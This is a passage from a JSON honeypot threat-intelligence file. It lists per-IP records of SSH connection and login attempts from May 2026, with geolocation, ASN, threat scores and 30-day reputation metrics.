        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:43:11.733000+00:00",
        "last_seen_30d": "2026-05-24T05:18:33.043000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "221.207.54.125": {
      "attack_count": 6,
      "first_seen": "2026-05-03T22:56:39.264Z",
      "last_seen": "2026-05-03T23:17:50.222Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T22:56:39.264000+00:00",
        "last_seen_30d": "2026-05-03T23:27:59.614000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "51.222.96.124": {
      "attack_count": 6,
      "first_seen": "2026-05-12T00:25:25.207Z",
      "last_seen": "2026-05-12T00:25:27.444Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:25:25.207000+00:00",
        "last_seen_30d": "2026-05-12T00:26:32.493000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.209": {
      "attack_count": 6,
      "first_seen": "2026-05-26T00:31:27.295Z",
      "last_seen": "2026-05-26T00:32:06.592Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T10:30:13+00:00",
        "last_seen_30d": "2026-05-31T04:46:04.789000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 41,
        "Cowrie": 6
      }
    },
    "138.124.185.227": {
      "attack_count": 5,
      "first_seen": "2026-05-02T03:44:14.886Z",
      "last_seen": "2026-05-02T03:44:16.355Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 39238,
      "as_org": "Okb Progress LLC",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:44:14.886000+00:00",
        "last_seen_30d": "2026-05-02T03:45:19.126000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "104.152.52.142": {
      "attack_count": 4,
      "first_seen": "2026-05-05T03:40:31.809Z",
      "last_seen": "2026-05-05T03:40:32.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 52.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:57:00.843000+00:00",
        "last_seen_30d": "2026-05-31T23:18:13.983000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4
      }
    },
    "122.194.13.128": {
      "attack_count": 4,
      "first_seen": "2026-05-06T05:48:08.076Z",
      "last_seen": "2026-05-06T05:48:49.573Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:48:08.076000+00:00",
        "last_seen_30d": "2026-05-06T05:49:57.517000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "13.222.129.81": {
      "attack_count": 4,
      "first_seen": "2026-05-07T00:56:27.978Z",
      "last_seen": "2026-05-07T00:56:32.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-07T00:56:27.978000+00:00",
        "last_seen_30d": "2026-05-27T00:59:11.039000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Ciscoasa": 1,
        "Honeyaml": 1
      }
    },
    "221.233.80.216": {
      "attack_count": 4,
      "first_seen": "2026-05-22T10:34:39.365Z",
      "last_seen": "2026-05-22T10:36:12.286Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:34:39.365000+00:00",
        "last_seen_30d": "2026-05-22T10:37:18.084000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "38.207.133.27": {
      "attack_count": 4,
      "first_seen": "2026-05-25T10:18:41.529Z",
      "last_seen": "2026-05-25T10:18:42.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 6134,
      "as_org": "XNNET LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:18:41.529000+00:00",
        "last_seen_30d": "2026-05-25T10:19:50.314000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "105.172.102.219": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:18:32.633Z",
      "last_seen": "2026-05-03T06:18:45.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 37119,
      "as_org": "UNITEL",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:18:32.633000+00:00",
        "last_seen_30d": "2026-05-03T06:19:49.063000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.105.210.58": {
      "attack_count": 2,
      "first_seen": "2026-05-07T09:49:25.675Z",
      "last_seen": "2026-05-07T09:49:33.676Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 71.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 25,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T00:04:25+00:00",
        "last_seen_30d": "2026-05-27T01:51:13.393000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 9,
        "Cowrie": 2,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "115.62.212.231": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:31:54.293Z",
      "last_seen": "2026-05-22T12:32:07.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:31:54.293000+00:00",
        "last_seen_30d": "2026-05-22T12:33:16.271000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.29.90.246": {
      "attack_count": 2,
      "first_seen": "2026-05-12T08:08:07.816Z",
      "last_seen": "2026-05-12T08:08:21.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": null,
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:08:07.816000+00:00",
        "last_seen_30d": "2026-05-12T08:09:26.864000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.61.181.249": {
      "attack_count": 2,
      "first_seen": "2026-05-18T21:50:01.084Z",
      "last_seen": "2026-05-18T21:50:14.435Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:50:01.084000+00:00",
        "last_seen_30d": "2026-05-18T21:51:21.530000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.117.251.230": {
      "attack_count": 2,
      "first_seen": "2026-05-31T09:32:37.244Z",
      "last_seen": "2026-05-31T09:33:08.035Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taitung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:32:37.244000+00:00",
        "last_seen_30d": "2026-05-31T09:34:10.321000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "146.247.233.63": {
      "attack_count": 2,
      "first_seen": "2026-05-25T22:27:19.321Z",
      "last_seen": "2026-05-25T22:27:19.822Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Denmark",
      "country_code": "DK",
      "city": null,
      "asn": 12552,
      "as_org": "GlobalConnect AB",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T22:27:19.321000+00:00",
        "last_seen_30d": "2026-05-25T22:28:55.864000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.236.181.86": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:54:35.460Z",
      "last_seen": "2026-05-17T03:54:48.291Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 202940,
      "as_org": "ITC NG ltd",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:54:35.460000+00:00",
        "last_seen_30d": "2026-05-17T03:55:52.200000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.119.76.62": {
      "attack_count": 2,
      "first_seen": "2026-05-06T14:14:55.542Z",
      "last_seen": "2026-05-06T14:15:00.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 7119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1506,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-06T11:53:54+00:00",
        "last_seen_30d": "2026-05-06T15:48:11.388000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4584,
        "Honeytrap": 2477,
        "Dionaea": 20,
        "ConPot": 18,
        "Adbhoney": 12,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Miniprint": 1
      }
    },
    "170.239.190.107": {
      "attack_count": 2,
      "first_seen": "2026-05-25T10:08:30.517Z",
      "last_seen": "2026-05-25T10:08:42.605Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Melipilla",
      "asn": 264838,
      "as_org": "INVERSIONES MYJ LTDA",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:08:30.517000+00:00",
        "last_seen_30d": "2026-05-25T10:09:47.222000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.83.57.231": {
      "attack_count": 2,
      "first_seen": "2026-05-23T06:40:24.188Z",
      "last_seen": "2026-05-23T06:40:37.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:40:24.188000+00:00",
        "last_seen_30d": "2026-05-23T06:41:44.728000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.81.140.49": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:29:11.224Z",
      "last_seen": "2026-05-16T17:29:23.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Tripoli",
      "asn": 57513,
      "as_org": "Mobile interim company 1 S.A.L.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:29:11.224000+00:00",
        "last_seen_30d": "2026-05-16T17:30:34.388000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.92.182.129": {
      "attack_count": 2,
      "first_seen": "2026-05-14T09:03:32.444Z",
      "last_seen": "2026-05-14T09:03:32.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T09:03:32.444000+00:00",
        "last_seen_30d": "2026-05-14T09:04:34.938000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.141.215.162": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:04:11.457Z",
      "last_seen": "2026-05-07T05:04:23.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:04:11.457000+00:00",
        "last_seen_30d": "2026-05-07T05:05:59.390000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.99.43.133": {
      "attack_count": 2,
      "first_seen": "2026-05-08T05:37:47.477Z",
      "last_seen": "2026-05-08T05:38:00.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "El Salvador",
      "country_code": "SV",
      "city": "San Salvador",
      "asn": 27773,
      "as_org": "MILLICOM CABLE EL SALVADOR S.A. DE C.V.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:37:47.477000+00:00",
        "last_seen_30d": "2026-05-08T05:39:00.787000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.247.164.234": {
      "attack_count": 2,
      "first_seen": "2026-05-14T16:04:33.020Z",
      "last_seen": "2026-05-14T16:05:06.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 50084,
      "as_org": "S.A.Rapid Link S.R.L.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:10:37.343000+00:00",
        "last_seen_30d": "2026-05-14T19:55:01.632000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Cowrie": 2
      }
    },
    "196.177.117.129": {
      "attack_count": 2,
      "first_seen": "2026-05-12T23:59:38.953Z",
      "last_seen": "2026-05-12T23:59:51.853Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tunisia",
      "country_code": "TN",
      "city": "Sousse",
      "asn": 37693,
      "as_org": "TUNISIANA",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:59:38.953000+00:00",
        "last_seen_30d": "2026-05-13T00:00:56.683000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.232.152.78": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:20:39.482Z",
      "last_seen": "2026-05-23T05:20:51.815Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 36866,
      "as_org": "JTL",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:20:39.482000+00:00",
        "last_seen_30d": "2026-05-23T05:22:01.406000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.88.178.58": {
      "attack_count": 2,
      "first_seen": "2026-05-31T00:05:17.584Z",
      "last_seen": "2026-05-31T00:05:30.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
